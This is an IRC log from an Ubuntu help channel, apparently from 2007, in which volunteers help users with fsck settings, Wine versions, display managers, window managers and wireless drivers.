[03:39] <g0dd3ss> hai friendz!every 25 times I boot up my ubuntu feisty, it "forces" a dick check thingo, is there some way to disable it ?
[03:39] <g0dd3ss> oop disk*
[03:39] <h1st0> lubos1: wine nameofbat.bat
[03:40] <narothepharoh> mastershrek it wont run in terminal it says couldnt find package sound
[03:40] <Evanlec> anyone have zero sound in Alien Arena 2007?
[03:40] <MasterShrek> g0dd3ss, try 'man e2fsck' it should help ya
[03:40] <fermatstheorem> bbraun: .6.20.* series?
[03:40] <MasterShrek> narothepharoh, you have to install it
[03:40] <g0dd3ss> MasterShrek,  thnx d00de
[03:40] <abadtooth> Okay I'm back, still not working :( I selected Gnome in the session type, it says default is the last used session type. My login screen says Kubuntu and has a blue Debian wallpaper.
[03:40] <dystopianray> g0dd3ss, you can disable it with tune2fs, but regular fscks are a good idea
[03:40] <narothepharoh> sudo apt-get install sound converter
[03:40] <bbraun> fermatstheorem: since the linux port only uses select() I don't believe there are any kernel dependencies.
[03:41] <patrickneville> hi, i have an averatec 2200 series, and i cannot get the video card or wireless to work properly, does any one know how to help
[03:41] <speps> i need this one: libxft2_2.1.12-1+turner3_amd64.deb ! Please help
[03:41] <MasterShrek> oh yea g0dd3ss its tune2fs not e2fsck
[03:41] <h1st0> abadtooth: uninstall kdm and install gdm isn't that what you want to do?
[03:41] <fermatstheorem> bbraun: awright
[03:41] <patrickneville> the forums only have help for a 2300 series
[03:41] <avt3kk> guys I want to install windows firefox with wine so I can install shockwave but whats the code to install windows firefox???????????????
[03:41] <dystopianray> patrickneville, what are the wireless and video chips?
[03:41] <arquebus> I dont think .bat files will work in Linux OS, why dont you just run bash scripts
[03:41] <abadtooth> h1 No I already have or should have gdm
[03:41] <slashzul> how can you determine what ubuntu version you have?
[03:41] <h1st0> avt3kk: get wine and install firefox for windows using the exe
[03:41] <bkhyp1> how do i reinstall my windows manger i dont have the minimize or maximize or close buttons anymore in any window ?
[03:41] <dystopianray> slashzul, cat /etc/lsb_release
[03:41] <g0dd3ss> dystopianray,  yah thanks I know they're a good idea but every time it seems to do it, is a time where I need to boot up quickly to get something, doh :(
[03:41] <narothepharoh> mastershrek sudo apt-get install sound converter
[03:41] <narothepharoh> ?
[03:41] <h1st0> abadtooth: okay well then what is the problem?
[03:41] <fermatstheorem> bkhyp1: system->about ubuntu
[03:41] <VousDeux> Okay, so if I decided to use the ndiswrapper until Gutsy is released, would it be difficult to undo later?
[03:42] <slashzul> how can you determine what ubuntu feisty/edgy or dapper?
[03:42] <h1st0> VousDeux: no
[03:42] <avt3kk> guys
[03:42] <MasterShrek> narothepharoh, yea but soundconverter (without space)
[03:42] <abadtooth> h1st0:  You might in fact be using a different display manager, such as KDM (KDE Display Manager) or xdm. If you still wish to use this feature, either start GDM yourself or ask your system administrator to start GDM.
[03:42] <avt3kk> how to install windows firefox with wine
[03:42] <patrickneville> let me get the names one second dystopianray
[03:42] <bkhyp1> that will restart it fermat ?
[03:42] <dystopianray> VousDeux, you simply stop loading the ndiswrapper when you want to stop using it
[03:42] <abadtooth> h1st0: that it when I go to change my login wondow
[03:42] <abadtooth> h1st0: *Window
[03:42] <fermatstheorem> bkhyp1: no, it will open stuff
[03:42] <MasterShrek> abadtooth, check the permissions of kdm and gdm in /etc/init.d
[03:42] <slashzul> how can you determine what ubuntu feisty/edgy or dapper u have?
[03:43] <narothepharoh> thank you mastershrek
[03:43] <MasterShrek> kde shouldnt be executable, while gdm should
[03:43] <fermatstheorem> slashzul: system->abut ubuntu
[03:43] <dystopianray> avt3kk, download the installer then: wine blah.exe, where blah.exe is the installer file
[03:43] <e> slashzul:  lsb_release -a
[03:43] <h1st0> abadtooth: sudo apt-get remove kdm && sudo apt-get install gdm
[03:43] <VousDeux> this is just the first piece of hardware I have tried to configure on this box, I wonder what else doesn't work
[03:43] <ubuntu> hi
[03:43] <avt3kk> ty
[03:43] <bkhyp1> i keep getting error msg i dont have a windows manager
[03:43] <Gabe______> Has anyone yet solved conclusively the sound problem for the via82xx?
[03:43] <MasterShrek> bkhyp1, are u sure one is installed?
[03:43] <h1st0> VousDeux: depends how new the box is etc...
[03:43] <VousDeux> hot off of the presses
[03:43] <MasterShrek> bkhyp1, there should be, try running xwmconfig as a user
[03:44] <bkhyp1> yeah i was messing with the sources and trying to add OSX type task bar and somehow  i did this
[03:44] <slashzul> thanks! thought it might be in some txt file....
[03:44] <gordboy> Gabe______: yeah i have. i deleted the module completely. i use the ice1712 driver for my m-audio 2496. via sound sucks badly imho
[03:44] <MasterShrek> nvm bkhyp1 xwmconfig doesnt work in ubuntu...
[03:44] <g0dd3ss> soorrry ppl Im a noob and I don't understand this much, do i just type tune2fs -c 0 or what
[03:44] <h1st0> VousDeux: well who knows untill you try
[03:44] <dystopianray> slashzul, it is a in a text file, somewhere in /etc/lsb* iirc
[03:44] <h1st0> g0dd3ss: what are you trying to do format a partition?
[03:44] <Gabe______> gordboy: Yeah the sound sucks but I do need some sound.
[03:45] <dystopianray> g0dd3ss, run it with sudo and it'll work
[03:45] <bkhyp1> what is the default windows manager with ubuntu ?
[03:45] <e> dystopianray:  if you are goingt o cat a file it would be /etc/issue
[03:45] <Gabe______> so you just used another sound card?
[03:45] <dystopianray> h1st0, he is trying to disable periodic fscks
[03:45] <VousDeux> yeah, it would be nice to have a little more experience to go along with it, but gotta start somewhere
[03:45] <gordboy> Gabe______: yep
[03:45] <MasterShrek> g0dd3ss, you may need to add the device at the end of that command, probably /dev/hda
[03:45] <Gabe______> that sucks
[03:45] <dystopianray> e, no there is another file
[03:45] <e> lsb_release
[03:45] <h1st0> dystopianray: can't she jsut change the fstab mount options
[03:45] <Gabe______> I had it working too, but reinstalled and everything went to shit.
[03:45] <gordboy> bkhyp1: metacity/gnome
[03:45] <e> but you can run lsb_release -a
[03:45] <rafaelscj> hi everybody
[03:45] <VousDeux> I compiled my own custom kernel for freebsd once, but not for brand new hardware
[03:46] <dystopianray> MasterShrek, you have to give a parititon not the whole disk
[03:46] <bkhyp1> can you help me reload it ?
[03:46] <fermatstheorem> all right folks. g'day/evening.
[03:46] <MasterShrek> tru.dat
[03:46] <riotkittie> geek humor. :cringe:
[03:46] <riotkittie> :P
[03:46] <dystopianray> h1st0, i don't believe there is any mount option for that
[03:47] <rafaelscj> who knows a program to use with webcam?
[03:47] <dystopianray> rafaelscj, what do you want to do with it?
[03:47] <avt3kk> im going insane aaaaaa
[03:47] <thedash> my rsync doesn't seem to work
[03:47] <avt3kk> why cant I install windows firefox with wine???????
[03:47] <rafaelscj> dystopianray, take photos
[03:47] <e> why do you want windows firefox anyway?
[03:48] <dystopianray> avt3kk, is there an error message?
[03:48] <abadtooth> h1st0: can you tell me what those commands were again? the one to remove me just killed my session and went to a black screen with a blinking underscore...
[03:48] <dug_> rafaelscj: kopete is one
[03:48] <rafaelscj> dug_, kopete with ubuntu?
[03:49] <patrickneville> hi, in windows device manager it says i have a VIA/S3G DeltaChrome IGP display adapert.... and for the wireless card it says 802.11g Mini Card Wireless Adapter
[03:49] <h1st0> abadtooth: sudo apt-get remove kdm && sudo apt-get install gdm
[03:49] <dystopianray> patrickneville, pastebin lspci
[03:49] <dystopianray> patrickneville, windows device manager is not relevant
[03:49] <h1st0> patrickneville: use lspci
[03:50] <patrickneville> okay let me reboot into ubuntu
[03:50] <patrickneville> im in here on another computer
[03:50] <dystopianray> patrickneville, you'll need your ubuntu running to get any real help
[03:50] <avt3kk> dyst it says cannot find file
[03:50] <dystopianray> avt3kk, which file?
[03:51] <avt3kk> I paste it in a min
[03:51] <avt3kk> redue lol
[03:51] <patrickneville> okay i was just booting in windows because i know how to look for the devices in there, im not well versed in linux, thats why im here haha. but thank you for helping! ubuntu's starting..
[03:51] <avt3kk> wget
[03:51] <avt3kk> http://ftp-mozilla.netscape.com/pub/mozilla.org/firefox/releases/1.5.0.3/win32/en-US/Firefox%20Setup%201.5.0.3.exe
[03:51] <dystopianray> patrickneville, the information you obtained from windows is near useless
[03:51] <avt3kk> I typed this said wget needs more no http
[03:52] <dystopianray> patrickneville, if you don't know how to do something, ask
[03:52] <avt3kk> adminn@adminn-desktop:~$ wget
[03:52] <avt3kk> wget: missing URL
[03:52] <avt3kk> Usage: wget [OPTION] ... [URL] ...
[03:52] <avt3kk> Try `wget --help' for more options.
[03:52] <avt3kk> adminn@adminn-desktop:~$ http://ftp-mozilla.netscape.com/pub/mozilla.org/firefox/releases/1.5.0.3/win32/en-US/Firefox%20Setup%201.5.0.3.exe
[03:52] <avt3kk> thats the error
[03:52] <dystopianray> avt3kk, use pastebin
[03:52] <e> ha
[03:52] <thedash> I don't quite get this, I copied folder A [remote]  to folder B [local] , then rsynced the two, to make sure everything was identical.  Rsync seems to think that nothing is the same, and transferred everything over again.  Now I checked rsync again, because it threw and error, and it started transferring all of the files again.  I don't know what it's doing :S
[03:52] <avt3kk> sorry :/
[03:52] <dystopianray> avt3kk, you need to give a url to wget
[03:53] <abadtooth> h1st0:  okay so gdm is installed, that command to remove kdm just brings me to a black screen that seems to me frozen with a blinking underscore in the top left corner.
[03:53] <avt3kk> http://www.pastebin.org/2327
[03:54] <avt3kk> wget gets url how?
[03:54] <dystopianray> avt3kk, $ wget url
[03:54] <avt3kk> ook
[03:54] <wweasel> Hello! While a specific program is running, I'd like left Shift and right shift to emulate left and right clicks respectively.  Anyone know how?
[03:54] <dug_> anyone recommend a WWII multiplayer shooter for ubuntu?  similar to medal of honor / call of duty /etc?
[03:54] <h1st0> abadtooth: hit ctrl + alt +f1 to get to a text console.  Log in and sudo /etc/init.d/kdm stop then sudo apt-get remove kdm
[03:54] <avt3kk> $ wget http://ftp-mozilla.netscape.com/pub/mozilla.org/firefox/releases/1.5.0.3/win32/en-US/Firefox%20Setup%201.5.0.3.exe???????
[03:54] <avt3kk> thats it
[03:55] <dystopianray> avt3kk, try it out
[03:55] <avt3kk> k
[03:55] <avt3kk> bash $ not found rofl
[03:55] <rafaelscj> !webcam
[03:55] <Ubotu> Instructions for using webcams with Ubuntu can be found at https://help.ubuntu.com/community/Webcam - Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras
[03:55] <avt3kk> im im dapper drake
[03:55] <dystopianray> avt3kk, the $ is already there
[03:55] <pike__> dug_: tremulous. use your imagination
[03:55] <avt3kk> o
[03:55] <dystopianray> avt3kk, it represents your prompt
[03:55] <Evanlec> pike_, lol
[03:55] <avt3kk> well I tryed it and got that error
[03:55] <luis> bgggg
[03:56] <avt3kk> now what
[03:56] <patrickneville> okay http://pastebin.com/m215fa9e7
[03:56] <sybariten> anyone from scandinavia awake?
[03:56] <Evanlec> lets just face it, ubuntu is not for gaming, probably the best experience u can get with a native linux game today might be quake 4
[03:56] <dystopianray> avt3kk, wget url
[03:56] <pike__> dug_: enemy territory is the closest thig i know that runs native and is free
[03:56] <avt3kk> what am I missing
[03:56] <dystopianray> avt3kk, a brain
[03:56] <Evanlec> ET = free?
[03:56] <Evanlec> thot u had to have RTCW to play it
[03:56] <avt3kk> I posted this
[03:56] <avt3kk> wget
[03:56] <avt3kk> http://ftp-mozilla.netscape.com/pub/mozilla.org/firefox/releases/1.5.0.3/win32/en-US/Firefox%20Setup%201.5.0.3.exe
[03:56] <avt3kk> its not working why
[03:57] <e> jesus
[03:57] <e> they have to be on the same line
[03:57] <Evanlec> and uhh, thats the windows version?
[03:58] <avt3kk> 404 not found rofl
[03:58] <avt3kk> using this tut
[03:58] <avt3kk> http://ftp-mozilla.netscape.com/pub/mozilla.org/firefox/releases/1.5.0.3/win32/en-US/Firefox%20Setup%201.5.0.3.exe
[03:58] <Evanlec> avt3kk ur installing firefox on wine to use shockwave?
[03:58] <e> 
[03:58] <avt3kk> sorry here http://www.howtoforge.com/ubuntu_flash_player?from=10&comments_per_page=10
[03:58] <avt3kk> trying to
[03:59] <e> once again why do you want the windows version whe it comes preinstalled with firefox linux?
[03:59] <Evanlec> for shockwave i guess..
[03:59] <avt3kk> for shockwave yes
[03:59] <dug_> Evanlec: it looks enemy territory does have a linux version too: http://enemy-territory.4players.de:1041/news.php  i did not know that
[03:59] <e> ah
[04:00] <Evanlec> dug_, i know it has a linux version, i just thot it required u to have the full return to castle wolfenstein cd, much like quake 3 or 4 linux versions
[04:00] <robbomx> Hey guys,
[04:00] <LordKelvin> hallo
[04:00] <avt3kk> Evan so how I install windows firefox in dapper through wine to install shockwave? :/
[04:00] <robbomx> I'm having a pretty big problem
[04:00] <patrickneville> okay http://pastebin.com/m215fa9e7 .... any ideas for the video/monitor and wireless card?
[04:00] <robbomx> I cant install Wine 0.9.43... ive got 0.9.41...
[04:00] <robbomx> i really need 0.9.43 to fix a problem in a game i play
[04:00] <e> avt3kk once you have the xecutable run wine whatever.exe
[04:01] <h1st0> robbomx: then remove 9.41
[04:01] <LordKelvin> no idea what to say
[04:01] <avt3kk> ook ty
[04:01] <robbomx> h1st0, what if i have program I want to keep?
[04:01] <Evanlec> robbomx, why cant u install it? yea i would say remove 9.41 first
[04:01] <abadtooth> h1st0:  what were those last commands again.. I had to restart X for some reason...
[04:01] <h1st0> robbomx: yoru programs won't be removed just wine
[04:02] <robbomx> h1st0 what about my game, in program files, in the wine folder
[04:02] <avt3kk> 2.0.0.6 works in ubuntu dapper?
[04:02] <h1st0> abadtooth: hit ctrl+alt+f1 to get to a console type in sudo /etc/init.d/kdm stop  && sudo apt-get remove kdm  then you can sudo /etc/init.d/gdm start and hit ctrl+alt+f7 to get back to X
[04:02] <avt3kk> should ya
[04:02] <dystopianray> robbomx, only the wine executable changes, it doesn't affect anything you have installed
[04:02] <h1st0> robbomx: you may have to recreate the menu items if running wineboot doesn't recreate them.
[04:03] <bkhyp2> someone help me re-install my windows manager ?
[04:03] <robbomx> h1st0, what do i do after i uninstall wine... i need 2 have wine 0.9.43
[04:03] <dug_> well i just tried openarena, the servers all give an error client/server mismatch, or invalid game folder
[04:03] <h1st0> robbomx: download wine 9.43 and install it.
[04:03] <dystopianray> robbomx, you need 0.9.43 exactly?
[04:03] <robbomx> h1st0, how?
[04:03] <h1st0> dug_: there is probably a version mismatch
[04:03] <neozen> ok all got a puzzler regarding syncing to a palm over IR
[04:04] <robbomx> dystopianray, yes
[04:04] <bkhyp2> how do i re-install my windows manager
[04:04] <dystopianray> robbomx, you can't use 0.9.44 ?
[04:04] <neozen> thinkpad t41... builtin ir port.. want to sync to an older palm III
[04:04] <h1st0> !wine | robbomx
[04:04] <Ubotu> robbomx: wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.
[04:04] <burns> bkhype2: what's the problem?
[04:04] <neozen> any bright ideas?
[04:04] <h1st0> robbomx: on that page you want to look at the newer versions of wine section
[04:04] <nickrud> bkhyp2: why do you need to reinstall your window manager? Is it metacity, or what?
[04:05] <bkhyp2> the default one with ubuntu
[04:05] <rafaelscj> !camorama
[04:05] <Ubotu> Sorry, I don't know anything about camorama - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[04:05] <avt3kk> the code isnmt right
[04:05] <dystopianray> robbomx, the wine project has an official repository with feisty debs, but it's at 0.9.44
[04:05] <avt3kk> wine Firefox Setup 2.0.0.6.exe
[04:05] <robbomx> dystopianray, no i cant.. it has errors with the game.. 0.9.43 works better
[04:05] <avt3kk> dont work :/
[04:05] <nickrud> bkhyp2: what's not working? (it matters)
[04:05] <bkhyp2> its no loading up anymore, no bar with close,minimize,maximize
[04:05] <neozen> bkhyp2, default wm for ubuntu is metacity
[04:05] <lushys> anyone here know the best channel for compiz support
[04:05] <lushys> help
[04:05] <e> if there is a space you need to put it in quotes
[04:05] <lushys> that is...
[04:05] <h1st0> avt3kk: maybe ask the wine people in #winehq
[04:05] <dystopianray> avt3kk, you probably need to escape those spaces
[04:05] <avt3kk> k
[04:05] <patrickneville> okay http://pastebin.com/m215fa9e7 .... any ideas for the video/monitor and wireless card?
[04:05] <dug_> lushys: did you ask on #ubuntu-effects ?
[04:05] <e> wine "firefox_setup"
[04:05] <ch40s> lushys #ubuntu-effects
[04:05] <Evanlec> lushys, #ubuntu-effects or #compiz-fusion
[04:05] <neozen> lushys, try #ubuntu-effects
[04:05] <nickrud> bkhyp2:  alt-f2   metacity    see if that starts it
[04:06] <neozen> lol
[04:06] <dug_> first post
[04:06] <lushys> k, ill try  those
[04:06] <h1st0> avt3kk: yeah that would help to wine Firefox/ Setup/ 2.0.0.6.exe
[04:06] <bkhyp2> nothin
[04:06] <neozen> ............
[04:06] <h1st0> avt3kk: or just right click on the exe and tell it to open with wine
[04:06] <nickrud> bkhyp2: what do you see? did you try installing compiz or beryl?
[04:06] <neozen> h1st0, something wrong with just installing firefox into ubuntu?
[04:06] <monkeyBox> Can anyone tell me how to update the iPod firmware in linux?
[04:06] <robbomx> h1st0, how do i uninstall Wine?
[04:06] <dystopianray> h1st0, backslashes
[04:06] <dystopianray> robbomx, sudo apt-get remove wine
[04:06] <e> apt-get remove wine
[04:06] <h1st0> neozen: he needs windows version for shockwave or something
[04:07] <e> fb
[04:07] <bkhyp2> i did try to, but i uninstalled somestuff and when i restarted no windows manager
[04:07] <h1st0> robbomx: sudo apt-get remove wine
[04:07] <nickrud> bkhyp2: ok, then try   alt-f2   metacity --replace
[04:07] <h1st0> robbomx: or use synaptic and remove it.
[04:07] <neozen> h1st0, ahh... 64-bit chip.... I wonder if that would actually work
[04:07] <burns> bkhyp2: any errors?
[04:07] <monkeyBox> I'm finding all these howto sites, that say to download the firmware from apple,  but the apple site only has downloads for iTunes.. Where's the firmware updater?
[04:07] <neozen> h1st0, never thought of doing that to solve the problem
[04:07] <dystopianray> patrickneville, is it pci wireless?
[04:07] <bkhyp2> nothin is popping up though
[04:07] <h1st0> neozen: I dunno if he is 64bit but he is convinced he needs windows version for some reaso.
[04:07] <nickrud> bkhyp2: ok. open a terminal and type sudo aptitude reinstall metacity
[04:08] <bkhyp2> gotcha i got to close chat to do it, thx for help
[04:08] <dystopianray> patrickneville, you have via video, don't except anything exciting from it
[04:08] <patrickneville> dystopianray: pci?
[04:08] <patrickneville> what do you mean?
[04:08] <nickrud> bkhyp2: hope it works, you can still use the panel without window manager
[04:08] <dystopianray> patrickneville, how is your wireless device connected to your machine?
[04:08] <patrickneville> ohh its internal
[04:09] <robbomx> h1st0, ive removed wine.. now i gotta install wine 0.9.43.. i cant find any instructions on the Site you sent me
[04:09] <bkhyp1> can you type the command again
[04:09] <dystopianray> patrickneville, it does not seem to be listed in lspci
[04:09] <h1st0> robbomx: do you specifically need that version or can you use the current 9.44?
[04:09] <nickrud> bkhyp1: sudo aptitude reinstall metacity
[04:09] <dystopianray> patrickneville, pastebin lsusb
[04:09] <robbomx> h1st0, i need 9.43
[04:09] <g0dd3ss> bahh.silly connection 8-}
[04:10] <Aslam> i flashed my gateway bios and now my bios is corrupted... how can i fix this on a laptop?
[04:10] <bkhyp1> thx
[04:10] <h1st0> robbomx: ahh well that site will install current 9.44 I believe hold on
[04:10] <abadtooth> h1st0:  Thanks man! all good now :D
[04:10] <mythtv> !dvd
[04:10] <Ubotu> For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at http://wiki.ubuntu.com/SeveasPackages - Try k9copy (available in !Universe) for backing up DVDs
[04:10] <h1st0> abadtooth: np
[04:10] <abadtooth> h1st0:  now I just need to figure out how to install TUX_G2 login screen :P
[04:11] <h1st0> robbomx: what game are you trying to get to work btw?
[04:11] <patrickneville> http://pastebin.com/m6ed47cb6
[04:11] <robbomx> h1st0: World of Warcraft (WoW)
[04:11] <neozen> Aslam, tell me its under warranty
[04:12] <domcomproxy> who have one squit.config on work ?
[04:12] <h1st0> robbomx: http://wine.budgetdedicated.com/archive/index.html
[04:12] <JeevesMoss> how do I configure rsync to just make a mirror copy of the directories that I define?
[04:12] <domcomproxy> hola por favor necesito un archivo de configuracion squid. para montarlo en mi sistema , averie el mio
[04:12] <robbomx> h1st0: I can still play WoW, but when i load my char into the world... (enter world) it freezes.. and i read a few articles, and it says that 9.43 fixes it.. 9.44 has the same problems...
[04:13] <nickrud> !es | domcomproxy
[04:13] <Ubotu> domcomproxy: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[04:13] <VousDeux> well shoot...the ndiswrapper didn't work either
[04:13] <Aslam> neozen: no its not under warranty
[04:13] <VousDeux> installing netw4x64 ...
[04:13] <VousDeux> couldn't find models section "Device" -
[04:13] <VousDeux> installation may be incomplete
[04:13] <h1st0> robbomx: well that link I gave you has archives for all their versions
[04:13] <neozen> Aslam, was afraid of that...
[04:13] <robbomx> h1st0: once i've downloaded.. i'll tell you when, what do i do..
[04:13] <neozen> Aslam, time to order a new bios chip
[04:13] <patrickneville> dystopianray: http://pastebin.com/m6ed47cb6
[04:13] <gerath> anyone now to remove a program from start up have this program call miro that starts up when i logon how do i remove it from starting up
[04:13] <kersinc> #ubuntu-es
[04:14] <h1st0> robbomx: just download the deb and double click it gdebi should pop up and install it.
[04:14] <nickrud> gerath: system->preferences->session
[04:14] <domcomproxy> #ubuntu-es
[04:14] <neozen> Aslam, probably need to get it installed by someone who knows the laptop intimately
[04:14] <bkhyp1> didnt work, this is the error msg " window manger  "unknown" has not registered confirguration tool
[04:14] <neozen> Aslam, like a service tech
[04:14] <gerath> ok thanks
[04:14] <h1st0> robbomx: then to recreate your menu items for Applications Wine  or whatever just tyep in a terminal wineboot should recreate them.
[04:14] <neozen> Aslam, sorry to say it
[04:14] <booster_> hey guys can anyone help me with installing  QJoyPad in ubuntu 7.04 ???
[04:15] <robbomx> h1st0: okay, i just downloaded the Wine 0.9.43 amd64, it said wrong architecture, so now im downloading Wine 0.9.43 i386,
[04:15] <domcomproxy> !noezen | i need help about squid , i need one confi file please
[04:15] <Ubotu> Sorry, I don't know anything about noezen - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[04:15] <h1st0> robbomx: there ya go.
[04:15] <h1st0> robbomx: what type of cpu do you have?
[04:15] <robbomx> Hewlett Packard?
[04:15] <Aslam> neozen: i have fixed corrupted bioses before but not laptops
[04:15] <nickrud> bkhyp1: hm.
[04:16] <Aslam> neozen: i could do it easily if someone could tell me what needs to be done
[04:16] <bkhyp1> i know i tried to install compiz and then i uninstalled it
[04:16] <burns> if i got 2 firefox in my /etc/ how can i find out, which firefox i'm using atm?
[04:16] <nickrud> bkhyp1 you in ubuntu right now?
[04:16] <VousDeux> I guess I'll just have to be satisfied with limited hardware support for now
[04:16] <bkhyp1> yup
[04:16] <bruenig> there is firefox stuff in /etc?
[04:16] <h1st0> robbomx: yeah amd64 vs. is for AMD 64 bit cpus  just stick with the i386 stuff there tiger
[04:17] <nickrud> bkhyp1: with xchat stuffed in a corner, I assume
[04:17] <booster_> does anyone in here play games on ubuntu with a gamepad ???
[04:17] <dug_> anyone tried the ubuntu gutsy live cd with an intel iMac?  i tried feisty and it seemed a little glitchy
[04:17] <burns> yes?
[04:17] <bkhyp1> yup
[04:17] <domcomproxy> como entro a espanol _?
[04:17] <bruenig> hmm how hacked together is that
[04:17] <bkhyp1> cant move it or anything
[04:17] <unixslut> you tell me ;)
[04:17] <domcomproxy> no lo encuentro
[04:17] <Pici> !es | domcomproxy
[04:17] <Ubotu> domcomproxy: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[04:18] <bruenig> no other distro I have seen has firefox stuff in /etc, except maybe adding certain ff variables to /etc/profile
[04:18] <robbomx> h1st0: what do you mean by tiger?
[04:18] <booster_> is there a button config package for ubuntu to use a game pad ??
[04:18] <h1st0> robbomx: nothing it was a joke
[04:18] <burns> is there a prob @ /etc/firefox :)?
[04:18] <brasileiro-gauch> which is the best way to play direct3d based games on ubuntu? wine or cedega?
[04:18] <bkhyp1> is there i way i can reload ubuntu without losing settings? files?
[04:19] <robbomx> h1st0: lol, and also, i have just installed wine, but umm.. for some reason i cant see it in the toolbars. i.e, accessories...
[04:19] <h1st0> brasileiro-gauch: matter of opinion cedega costs money wine is free
[04:19] <nickrud> bkhyp1: if you made a separate home partition, it's easy
[04:19] <h1st0> robbomx: open a terminal and type in wineboot
[04:19] <h1st0> robbomx: should recreate the menus
[04:19] <patrickneville>  help wih wireless card to use wpa  http://pastebin.com/m6ed47cb6
[04:19] <robbomx> umm.. i just did.
[04:19] <brasileiro-gauch> cedega doesn't costs any money in my own way to get programs.. :P
[04:19] <Pelo> booster_, I think you would have better luck searching for gamepad in the forum  www.ubuntuforum.org  maybe you can also do a search in synaptic
[04:19] <robbomx> it came up with an error
[04:19] <Aslam> can anyone out hear help to me to fix a corrupted bios on a laptop?
[04:19] <rockets> My buddy just got the ubuntu logo tatood on his chest :-D
[04:19] <bkhyp1> nah, i formatted everything and install ubuntu straIGHT
[04:19] <rafaelscj> !hdparm
[04:19] <Ubotu> Sorry, I don't know anything about hdparm - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[04:20] <brasileiro-gauch> I asking just about technical and performance reasons..
[04:20] <h1st0> robbomx: still nothign in menus ?
[04:20] <robbomx> h1st0: wine client error:16: version mismatch 306/307.
[04:20] <booster_> Pelo: thanks
[04:20] <robbomx> Your wineserver binary was not upgraded correctly,
[04:20] <robbomx> or you have an older one somewhere in your PATH.
[04:20] <robbomx> Or maybe the wrong wineserver is still running?
[04:20] <h1st0> robbomx: did you remove the old wine first?
[04:20] <rafaelscj> did you enable hdparm? what's it?
[04:21] <nickrud> bkhyp1: try this: create a new user     system-admin-users   and create a new user. Log in there, see if you have a window manager
[04:21] <rockets> zomg u hax0red hiz hdparm over t3h irc!
[04:21] <robbomx> h1st0: i believe i did.. i used sudo apt-get remove wine.. or whatever that code was
[04:21] <nickrud> bkhyp1: be sure to make that user an admin user
[04:21] <h1st0> robbomx: and did it do anythign?
[04:22] <robbomx> yeah it said wine has been successfully uninstalled.. then i installed new wine...
[04:22] <bkhyp1> now i cant click on any text box but this one
[04:22] <bkhyp1> how do i remove compiz settings manager
[04:22] <robbomx> h1st0: yeah it said wine has been successfully uninstalled.. then i installed new wine
[04:23] <nickrud> bkhyp1: then open a terminal.   type    sudo adduser <name>       sudo adduser <name> admin
[04:23] <h1st0> robbomx: reboot yoru computer and try to run wineboot then perhaps you still have an old instance of wine runnign somewhere.
[04:23] <robbomx> h1st0: okay, ill be back
[04:23] <noor> you guys i need to know why i cant place stuff in my "home" folder :'(
[04:23] <noor> permission error in home folder T_T
[04:23] <h1st0> noor: you aren't logged in?
[04:23] <dug_> how can you show what users are in an irc channel with x-chat?
[04:23] <h1st0> dug_: /who
[04:23] <noor> i am logged in LOL
[04:23] <noor> i am right?
[04:23] <h1st0> dug_: it also has a user list on the side.
[04:23] <noor> right? o_o
[04:23] <h1st0> noor: can root put stuff there?
[04:24] <noor> hlst0: how do i do it with root?
[04:24] <dug_> oh i see you have to click the "1095 users" or whatever, it's an invisible button
[04:24] <patrickneville> how do you set up wpa with a rt73usb wireless driver?
[04:24] <h1st0> noor: well jsut try ls -l /home/noor and see who owns the folder
[04:24] <noor> hlst0: kk one sec
[04:24] <h1st0> dug_: yeap
[04:24] <h1st0> brb
[04:25] <nickrud> dug_: about half way up on the right, there's three dots. grab those and pull left :)
[04:25] <Oni-Dracula> my searching skills suck, can anyone help me find the howto on Logitech MX Revolution mice in 'buntu?
[04:25] <mrspinx> Hey  does anyone know what packages i need use menus with Kaffeine ?
[04:25] <monkeyBox> Does anyone here use an iPod w/ linux?  How do I update the firmware w/o using iTunes?
[04:25] <noor> hlst0: i own it pretty pisitive
[04:25] <burns> Oni-Dracula: sudo nano /etc/X11/xorg.conf
[04:26] <Pelo> Oni-Dracula, what function are you trying to enable ?
[04:26] <Oni-Dracula> burns, it's not supported by X yet afaik
[04:26] <Oni-Dracula> Pelo, only buttons that do anything are the left and right mousebuttons... previously a program was required to bind the buttons
[04:26] <burns> sec
[04:27] <pike__> monkeyBox: http://ipodlinux.org/Main_Page
[04:27] <Pelo> !mouse | Oni-Dracula
[04:27] <Ubotu> Oni-Dracula: Enabling extra mouse buttons: https://help.ubuntu.com/community/ManyButtonsMouseHowto  - Enabling serial mouse: https://help.ubuntu.com/community/SerialMouseHowto
[04:27] <tanuki33> HELP... I have used "sudo ifconfig  abcX down" to stop every adapter before "sudo madwifi-unload.bash" and I still get "FATAL: Module wlan is in use"... can anyone help? I have even physically removed the adaptors.
[04:27] <Oni-Dracula> Pelo, that won't help
[04:27] <pike__> monkeyBox: might as well install linux while youre at it
[04:27] <burns> http://www.unixboard.de/vb3/showthread.php?t=31992
[04:27] <patrickneville> how do you set up wpa with a rt73usb wireless driver?
[04:27] <patrickneville>  help wih wireless card to use wpa  http://pastebin.com/m6ed47cb6
[04:27] <robbomx> h1st0: hello, umm. it has now come up with this
[04:27] <monkeyBox> pike__:   Isn't that site about installing linux _on_ the iPod?
[04:27] <rafaelscj> how may I know if there is any bluetooh adapters?
[04:27] <bkhyp1> i just typed, x-window-manager in console and it started up
[04:27] <patrickneville> okay http://pastebin.com/m215fa9e7 .... any ideas for the video/monitor and wireless card?
[04:27] <robbomx> h1sto: robbomx@cozierfamily-desktop:~$ wineboot
[04:27] <robbomx> err:wineboot:pendingRename couldn't get file attributes (2)
[04:27] <robbomx> err:wineboot:runCmd Failed to run command L"C:\\Program Files\\TweakWindow\\TweakWin.exe" (2)
[04:27] <robbomx> err:wineboot:ProcessRunKeys Error running cmd #0 (2)
[04:27] <bkhyp1> how would i put this so it starts up like this ?
[04:27] <pike__> monkeyBox: yeah but you should be able to find instructions there about backing up and or flashing the firmware
[04:28] <noor> i get permission error with HOME FOLDER SOME ONE HELP T___T
